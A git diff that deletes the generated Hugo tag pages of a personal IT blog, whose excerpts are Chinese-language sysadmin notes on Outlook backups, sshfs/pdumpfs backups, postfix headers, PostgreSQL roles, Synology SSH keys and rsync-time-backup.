- - - - - - - Outlook | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] outlook 郵件設定 & 選項設定 備份/還原

    -
    - - - 2015-07-01 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    之前在幫USER換電腦、灌系統,最麻煩的就是outlook 裡面的設定

    - -

    不管是簽名、字型、甚至顏色配置等等

    - -

    就連我自己換電腦或者換系統,都要花很多時間在調整outlook 到習慣的介面

    - -

    一直都在想有沒有方便的工具可以協助備份、移轉 outlook 設定的

    - -

    今天在測試microcloud 的VDI 時,因為廠商之前已經提過outlook 無法保存設定,但是 user profile 可以

    - -

    讓我又想起這個議題,然後就用 outlook profile transfer 丟去google 找答案

    - -

    沒想到還真的讓我找到了!(怪了,那我之前怎麼都沒找到..)

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/outlook/page/1/index.html b/themes/public/tags/outlook/page/1/index.html deleted file mode 100644 index 383f5894..00000000 --- a/themes/public/tags/outlook/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/outlook/ \ No newline at end of file diff --git a/themes/public/tags/pchome/page/1/index.html b/themes/public/tags/pchome/page/1/index.html deleted file mode 100644 index 540c6d66..00000000 --- a/themes/public/tags/pchome/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/pchome/ \ No newline at end of file diff --git a/themes/public/tags/pdumpfs/index.html b/themes/public/tags/pdumpfs/index.html deleted file mode 100644 index 426f5899..00000000 --- a/themes/public/tags/pdumpfs/index.html +++ /dev/null @@ -1,424 +0,0 @@ - - - - - - - - - - Pdumpfs | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記]在KVM VPS上透過 fuse-sshfs + pdumpfs 做wordpress異地備援

    -
    - - - 2013-03-22 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為之前手賤,把原有的BLOG的資料檔都砍光光,雖然文章內容都還留著,但是圖片都變成叉燒包了 Too Sad

    - -

    不過換到新的WP之後,發現多了好多布景主題可以用,現在用的這個我就覺得很棒!Big Smile

    - -

    也為了要避免再次發生之前手殘的錯誤,所以一直在找一些異地備援的方式。

    - -

    Wordpress本身的外掛雖然有很多號稱可以透過FTP之類的方式把備份檔案丟去其他地方

    - -

    但測試了幾個之後,發現要不就是沒有定時的功能,要不就是要額外收費。

    - -

    想來想去,還是乾脆自己在console下備份比較能掌握。

    - -

    之前有玩過lsync,這次改用另外一招 sshfs + pdumpfs 來作作看

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/pdumpfs/page/1/index.html b/themes/public/tags/pdumpfs/page/1/index.html deleted file mode 100644 index 9ad58f4d..00000000 --- a/themes/public/tags/pdumpfs/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/pdumpfs/ \ No newline at end of file diff --git a/themes/public/tags/postfix/index.html b/themes/public/tags/postfix/index.html deleted file mode 100644 index 183afe75..00000000 --- a/themes/public/tags/postfix/index.html +++ /dev/null @@ -1,410 +0,0 @@ - - - - - - - - - - Postfix | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] 修改iredmail 的 postfix 在mail header加入自訂的 tag

    -
    - - - 2016-12-19 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    之前因為公司的MAIL SERVER遭受退信攻擊

    - -

    USER收到非常大量的退信,由於Anti-SPAM的機制目前沒有比較完整的處理方式

    - -

    所以我跟工程師討論之後,提出在現有SPF/DKIM以外,是不是可以在mail header加入一個特定的tag

    - -

    當收到退信,而這封退信的header中沒有包含我設定的tag,那就可以確定這是SPAM,直接丟掉就好

    - -

    可惜的是,現在用的SPAM Gateway沒有這樣的功能,只能直接把account 加入拒收退信名單(有點鴕鳥心態..)

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/postfix/page/1/index.html b/themes/public/tags/postfix/page/1/index.html deleted file mode 100644 index 0a7ea654..00000000 --- a/themes/public/tags/postfix/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/postfix/ \ No newline at end of file diff --git a/themes/public/tags/programming/index.html b/themes/public/tags/programming/index.html deleted file mode 100644 index 8ebf6fc3..00000000 --- a/themes/public/tags/programming/index.html +++ /dev/null @@ -1,405 +0,0 @@ - - - - - - - - - - Programming | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    Linked post

    -
    - - - 2015-10-02 - - - - - - - - - programming - - - - - -
    - - - I’m a linked post in the menu. You can add other posts by adding the following line to the frontmatter: -menu = "main" Lorem ipsum dolor sit amet, consectetur adipiscing elit. In mauris nulla, vestibulum vel auctor sed, posuere eu lorem. Aliquam consequat augue ut accumsan mollis. Suspendisse malesuada sodales tincidunt. Vivamus sed erat ac augue bibendum porta sed id ipsum. Ut mollis mauris eget ligula sagittis cursus. Aliquam id pharetra tellus. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/programming/page/1/index.html b/themes/public/tags/programming/page/1/index.html deleted file mode 100644 index eb0a84e6..00000000 --- a/themes/public/tags/programming/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/programming/ \ No newline at end of file diff --git a/themes/public/tags/ps/index.html b/themes/public/tags/ps/index.html deleted file mode 100644 index 7b69319a..00000000 --- a/themes/public/tags/ps/index.html +++ /dev/null @@ -1,367 +0,0 @@ - - - - - - - - - - Ps | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/ps/index.xml b/themes/public/tags/ps/index.xml deleted file mode 100644 index e336b125..00000000 --- a/themes/public/tags/ps/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Ps on MC部落 - https://h.cowbay.org/tags/ps/ - Recent content in Ps on MC部落 - Hugo -- gohugo.io - Mon, 05 Nov 2018 07:46:53 +0800 - - - - - - Sammy93 - https://h.cowbay.org/gallery/sammy93/ - Mon, 05 Nov 2018 07:46:53 +0800 - - https://h.cowbay.org/gallery/sammy93/ - - - - - \ No newline at end of file diff --git a/themes/public/tags/psql/index.html b/themes/public/tags/psql/index.html deleted file mode 100644 index 8c0e9053..00000000 --- a/themes/public/tags/psql/index.html +++ /dev/null @@ -1,380 +0,0 @@ - - - - - - - - - - Psql | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者

    -
    - - - 2018-11-12 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    因為工作上的需求,有個資料庫需要開放給不同team的人去存取

    - -

    雖然都是在同一台機器上的同一個資料庫

    - -

    但是希望能夠不同team的人用不同的資料庫使用者

    - -

    這樣萬一出事,會比較好抓兇手??

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/psql/index.xml b/themes/public/tags/psql/index.xml deleted file mode 100644 index a78ff13c..00000000 --- a/themes/public/tags/psql/index.xml +++ /dev/null @@ -1,31 +0,0 @@ - - - - Psql on MC部落 - https://h.cowbay.org/tags/psql/ - Recent content in Psql on MC部落 - Hugo -- gohugo.io - Mon, 12 Nov 2018 09:48:12 +0800 - - - - - - PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者 - https://h.cowbay.org/post/copy_role_in_pgsql/ - Mon, 12 Nov 2018 09:48:12 +0800 - - https://h.cowbay.org/post/copy_role_in_pgsql/ - <p>因為工作上的需求,有個資料庫需要開放給不同team的人去存取</p> - -<p>雖然都是在同一台機器上的同一個資料庫</p> - -<p>但是希望能夠不同team的人用不同的資料庫使用者</p> - -<p>這樣萬一出事,會比較好抓兇手??</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/tags/ptt/index.html b/themes/public/tags/ptt/index.html deleted file mode 100644 index 52f1250c..00000000 --- a/themes/public/tags/ptt/index.html +++ /dev/null @@ -1,457 +0,0 @@ - - - - - - - - - - Ptt | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    PTT 簽名檔-寒狗

    -
    - - - 2016-07-12 - - - - - - - - - ptt - - - - - -
    - - - 有一天, 神問狗說:「狗阿~你喜歡住熱帶還是寒帶?」 狗:「當然是熱帶囉!」 神:「為什麼呢?」 狗:「我的良心告訴我,當熱狗比當寒狗好。」 - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [PTT][討論] 台灣女星為什麼都不喜歡露點?

    -
    - - - 2013-04-10 - - - - - - - - - ptt - - - - - -
    - - - 電影版-[討論] 台灣女星為什麼都不喜歡露點? 其中一則推文如下! > dqdq:不露才有機會進豪門,露點的最多進藍寶堅尼車門 超中肯! - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/ptt/page/1/index.html b/themes/public/tags/ptt/page/1/index.html deleted file mode 100644 index 69466c46..00000000 --- a/themes/public/tags/ptt/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/ptt/ \ No newline at end of file diff --git a/themes/public/tags/public-ip/index.html b/themes/public/tags/public-ip/index.html deleted file mode 100644 index c1d4c1a2..00000000 --- a/themes/public/tags/public-ip/index.html +++ /dev/null @@ -1,410 +0,0 @@ - - - - - - - - - - Public Ip | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] XenServer/XenApp 不透過AG,直接從Internet連線的方式

    -
    - - - 2013-10-03 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為最近要再次開放遠端桌面連線給員工使用,基於某些原因,我不是很想直接讓USER直接連線。

    - -

    不管是透過terminal service or XenApp,不過,命令終究是命令,遠端連線自然是沒有問題,不過之前問過廠商,如果要在INTERNET上直接提供XenApp,都是建議前面再放個AG之類的,那又是一筆額外的成本,所以這兩天在測試怎麼從INTERNET上直接連XenApp服務,但是碰到了許多的問題,以下簡單記錄一下處理的步驟。

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/public-ip/page/1/index.html b/themes/public/tags/public-ip/page/1/index.html deleted file mode 100644 index 1a850c85..00000000 --- a/themes/public/tags/public-ip/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/public-ip/ \ No newline at end of file diff --git a/themes/public/tags/pydio/index.html b/themes/public/tags/pydio/index.html deleted file mode 100644 index 3a2efb05..00000000 --- a/themes/public/tags/pydio/index.html +++ /dev/null @@ -1,406 +0,0 @@ - - - - - - - - - - Pydio | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD 安裝 Pydio / Windows 安裝 PydioSync Client

    -
    - - - 2015-02-16 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    Pydio ( https://pydio.com/ ) 是一種類似 Dropbox 的文件分享自由軟體

    - -

    之前玩過 owncloud ,也是類似的軟體,但是OWNCLOUD的速度實在讓人不敢領教

    - -

    今天偶然看到這個 pydio ,風評都說速度不錯,於是趁著年前沒啥事情,在VPS上搞了一套起來 (有 FreeBSD的VPS真好! )

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/pydio/page/1/index.html b/themes/public/tags/pydio/page/1/index.html deleted file mode 100644 index 2dc568d5..00000000 --- a/themes/public/tags/pydio/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/pydio/ \ No newline at end of file diff --git a/themes/public/tags/python/index.html b/themes/public/tags/python/index.html deleted file mode 100644 index 293e56d1..00000000 --- a/themes/public/tags/python/index.html +++ /dev/null @@ -1,398 +0,0 @@ - - - - - - - - - - Python | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    simple way to execure multiple process in parallel

    -
    - - - 2018-04-03 - - - - - - - - -
    - - - http://code.activestate.com/recipes/577376-simple-way-to-execute-multiple-process-in-parallel/ -看起來是在同一時間利用多個PCU core 執行多個 importcenter 而不是把一個importcenter的工作拆給多個core 去運算 有點不太一樣.. -不過用在 resetdata 上也許有用? - 1.py - import sys, os, time from subprocess import Popen, list2cmdline def cpu_count(): ''' Returns the number of CPUs in the system ''' num = 1 if sys.platform == 'win32': try: num = int(os.environ['NUMBER_OF_PROCESSORS']) except (ValueError, KeyError): pass elif sys.platform == 'darwin': try: num = int(os.popen('sysctl -n hw.ncpu').read()) except ValueError: pass else: try: num = os.sysconf('SC_NPROCESSORS_ONLN') except (ValueError, OSError, AttributeError): pass return num def exec_commands(cmds): ''' Exec commands in parallel in multiple process (as much as we have CPU) ''' if not cmds: return # empty list def done(p): return p. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/python/page/1/index.html b/themes/public/tags/python/page/1/index.html deleted file mode 100644 index ae33f3a4..00000000 --- a/themes/public/tags/python/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/python/ \ No newline at end of file diff --git a/themes/public/tags/report/page/1/index.html b/themes/public/tags/report/page/1/index.html deleted file mode 100644 index 3634fed8..00000000 --- a/themes/public/tags/report/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/report/ \ No newline at end of file diff --git a/themes/public/tags/rsync/index.html b/themes/public/tags/rsync/index.html deleted file mode 100644 index 7ba90b12..00000000 --- a/themes/public/tags/rsync/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - Rsync | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] Linux 底下好用的備份工具 rsync-time-backup

    -
    - - - 2018-04-10 - - - - - - - - - 筆記 - - - - - -
    - - - 很好用的工具,利用rsync 去作到類似MAC上的 time machine的功能 備份後的目錄大概會是這樣子 -drwxr-xr-x 1 mini sudo 3100 Apr 9 16:14 2018-04-10-160719 drwxr-xr-x 1 mini sudo 3100 Apr 9 16:14 2018-04-10-160224 drwxr-xr-x 1 mini sudo 3100 Apr 9 16:14 2018-04-10-160054 drwxr-xr-x 1 mini sudo 3100 Apr 9 16:14 2018-04-10-155836 drwxr-xr-x 1 mini sudo 3100 Apr 9 16:14 2018-04-10-155826 -rw-r--r-- 1 mini sudo 0 Apr 10 15:58 backup.marker drwxr-xr-x 1 mini sudo 472 Apr 10 16:07 .. lrwxrwxrwx 1 mini sudo 17 Apr 10 16:07 latest -> 2018-04-10-160719 drwxr-xr-x 1 mini sudo 208 Apr 10 16:07 . - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/rsync/page/1/index.html b/themes/public/tags/rsync/page/1/index.html deleted file mode 100644 index b229b793..00000000 --- a/themes/public/tags/rsync/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/rsync/ \ No newline at end of file diff --git a/themes/public/tags/say-thanks/index.html b/themes/public/tags/say-thanks/index.html deleted file mode 100644 index 8291a7b1..00000000 --- a/themes/public/tags/say-thanks/index.html +++ /dev/null @@ -1,418 +0,0 @@ - - - - - - - - - - Say Thanks | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    Support and Discussions

    -
    - - - 2017-11-01 - - - - - - - - - Lednerb - -
    - - -

    Hey there!

    - -

    This Premium Theme is published under an open source license so you can use it for your blog. It took me more than 75 hours of work to create one of the best Hugo themes out there.

    - -

    If you enjoy this theme and want to stay informed about the latest releases and features or want to say thanks and discuss with other users, join our Discord server:

    - -

    Discord

    - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/say-thanks/index.xml b/themes/public/tags/say-thanks/index.xml deleted file mode 100644 index 7c18c3fc..00000000 --- a/themes/public/tags/say-thanks/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Say Thanks on My cool new Blog - https://h.cowbay.org/tags/say-thanks/ - Recent content in Say Thanks on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:10:14 +0100 - - - - - - Support and Discussions - https://h.cowbay.org/article/support-and-discussions/ - Wed, 01 Nov 2017 18:10:14 +0100 - - https://h.cowbay.org/article/support-and-discussions/ - Hey there! -This Premium Theme is published under an open source license so you can use it for your blog. It took me more than 75 hours of work to create one of the best Hugo themes out there. -If you enjoy this theme and want to stay informed about the latest releases and features or want to say thanks and discuss with other users, join our Discord server: - - - - \ No newline at end of file diff --git a/themes/public/tags/say-thanks/page/1/index.html b/themes/public/tags/say-thanks/page/1/index.html deleted file mode 100644 index e46144b1..00000000 --- a/themes/public/tags/say-thanks/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/say-thanks/ \ No newline at end of file diff --git a/themes/public/tags/scotland/index.html b/themes/public/tags/scotland/index.html deleted file mode 100644 index 8c38beed..00000000 --- a/themes/public/tags/scotland/index.html +++ /dev/null @@ -1,426 +0,0 @@ - - - - - - - - - - Scotland | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/scotland/index.xml b/themes/public/tags/scotland/index.xml deleted file mode 100644 index 720e45b7..00000000 --- a/themes/public/tags/scotland/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - Scotland on My cool new Blog - https://h.cowbay.org/tags/scotland/ - Recent content in Scotland on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:01:26 +0100 - - - - - - My Trip to Scotland - https://h.cowbay.org/gallery/my-trip-to-scotland/ - Wed, 01 Nov 2017 18:01:26 +0100 - - https://h.cowbay.org/gallery/my-trip-to-scotland/ - In June 2017 I&rsquo;ve visited Scotland with my best friend for two weeks. We drove a lot through the beautiful countryside and saw a lot of different animals: cattle, deer, birds, dolphins, and sheep. Sheep everywhere! -At one beautiful camping site, we saw cattle in fog in the very early morning and took a picture of it. The image now has the title &ldquo;Rindviehcher im Nebel&rdquo;, a quite funny German phrase that means cattle in the fog. - - - - \ No newline at end of file diff --git a/themes/public/tags/scotland/page/1/index.html b/themes/public/tags/scotland/page/1/index.html deleted file mode 100644 index 7a556215..00000000 --- a/themes/public/tags/scotland/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/scotland/ \ No newline at end of file diff --git a/themes/public/tags/search-engine/index.html b/themes/public/tags/search-engine/index.html deleted file mode 100644 index eec09e50..00000000 --- a/themes/public/tags/search-engine/index.html +++ /dev/null @@ -1,345 +0,0 @@ - - - - - - - - - - Search Engine | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/search-engine/index.xml b/themes/public/tags/search-engine/index.xml deleted file mode 100644 index c9be2de3..00000000 --- a/themes/public/tags/search-engine/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Search Engine on My cool new Blog - https://h.cowbay.org/tags/search-engine/ - Recent content in Search Engine on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 13:05:27 +0100 - - - - - - Duckduckgo.com - https://h.cowbay.org/link/duckduckgo/ - Wed, 01 Nov 2017 13:05:27 +0100 - - https://h.cowbay.org/link/duckduckgo/ - A search engnine that respects your privacy. - - - - \ No newline at end of file diff --git a/themes/public/tags/search-engine/page/1/index.html b/themes/public/tags/search-engine/page/1/index.html deleted file mode 100644 index b10ca58d..00000000 --- a/themes/public/tags/search-engine/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/search-engine/ \ No newline at end of file diff --git a/themes/public/tags/sh/index.html b/themes/public/tags/sh/index.html deleted file mode 100644 index d9e517d0..00000000 --- a/themes/public/tags/sh/index.html +++ /dev/null @@ -1,394 +0,0 @@ - - - - - - - - - - Sh | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    筆記-上海公司稅務軟體無法連線的問題

    -
    - - - 2017-07-17 - - - - - - - - -
    - - - 昨天上海Cindy打來說開票機無法連線稅務單位,沒辦法開票。 -中國的發票很特別,一定要用官方指定的開票機(其實就是一台普通的PC),你用自己的pc還要去稅務單位讓他們檢查,超級機車。 -總之,我們這台開票機就是從稅務單位直接買的,我沒有碰過設定,所以有這問題我也不曉得為什麼。Cindy表示問過稅務單位,說是網路不通,但是我在FW上沒有特殊的設定去限制,如果有的話,早就不會通了。 -今天May 又打來反應這問題,而且她加碼爆料說之前她在操作上網報稅的過程,也是用公司的電腦不行,但是用手機分享的4G網路連線就可以。這就很奇怪了,肯定是公司電腦有什麼錯誤的地方。總之讓她裝上teamviewer我遠端過去看一下,想說來檢查一下DNS能不能解析好了。結果一測試,果然預設的DNS Server是DC Controller,解不出 www.tax.sh.gov.cn 的IP位置。(微軟的AD預載的DNS Server真的頗容易出狀況的) -把開票機的DNS Server 改成 202.96.199.133 / 202.96.0.133 測試OK。下午Cindy回來測試開票作業也都正常了,筆記一下作個紀錄。 - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/sh/page/1/index.html b/themes/public/tags/sh/page/1/index.html deleted file mode 100644 index 2e752e90..00000000 --- a/themes/public/tags/sh/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/sh/ \ No newline at end of file diff --git a/themes/public/tags/shell/page/1/index.html b/themes/public/tags/shell/page/1/index.html deleted file mode 100644 index c9bbe1db..00000000 --- a/themes/public/tags/shell/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/shell/ \ No newline at end of file diff --git a/themes/public/tags/ssh/index.html b/themes/public/tags/ssh/index.html deleted file mode 100644 index b37952f1..00000000 --- a/themes/public/tags/ssh/index.html +++ /dev/null @@ -1,391 +0,0 @@ - - - - - - - - - - Ssh | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

    -
    - - - 2018-11-05 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

    - -

    這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇

    - -

    https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux

    - -

    或者是這篇

    - -

    https://www.maketecheasier.com/mount-google-drive-ubuntu/

    - -

    但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/sshfs/index.html b/themes/public/tags/sshfs/index.html deleted file mode 100644 index e09f9a2f..00000000 --- a/themes/public/tags/sshfs/index.html +++ /dev/null @@ -1,424 +0,0 @@ - - - - - - - - - - Sshfs | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記]在KVM VPS上透過 fuse-sshfs + pdumpfs 做wordpress異地備援

    -
    - - - 2013-03-22 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為之前手賤,把原有的BLOG的資料檔都砍光光,雖然文章內容都還留著,但是圖片都變成叉燒包了 Too Sad

    - -

    不過換到新的WP之後,發現多了好多布景主題可以用,現在用的這個我就覺得很棒!Big Smile

    - -

    也為了要避免再次發生之前手殘的錯誤,所以一直在找一些異地備援的方式。

    - -

    Wordpress本身的外掛雖然有很多號稱可以透過FTP之類的方式把備份檔案丟去其他地方

    - -

    但測試了幾個之後,發現要不就是沒有定時的功能,要不就是要額外收費。

    - -

    想來想去,還是乾脆自己在console下備份比較能掌握。

    - -

    之前有玩過lsync,這次改用另外一招 sshfs + pdumpfs 來作作看

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/sshfs/page/1/index.html b/themes/public/tags/sshfs/page/1/index.html deleted file mode 100644 index 0ddd5c04..00000000 --- a/themes/public/tags/sshfs/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/sshfs/ \ No newline at end of file diff --git a/themes/public/tags/static-sites/index.html b/themes/public/tags/static-sites/index.html deleted file mode 100644 index 3228084d..00000000 --- a/themes/public/tags/static-sites/index.html +++ /dev/null @@ -1,406 +0,0 @@ - - - - - - - - - - Static Sites | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
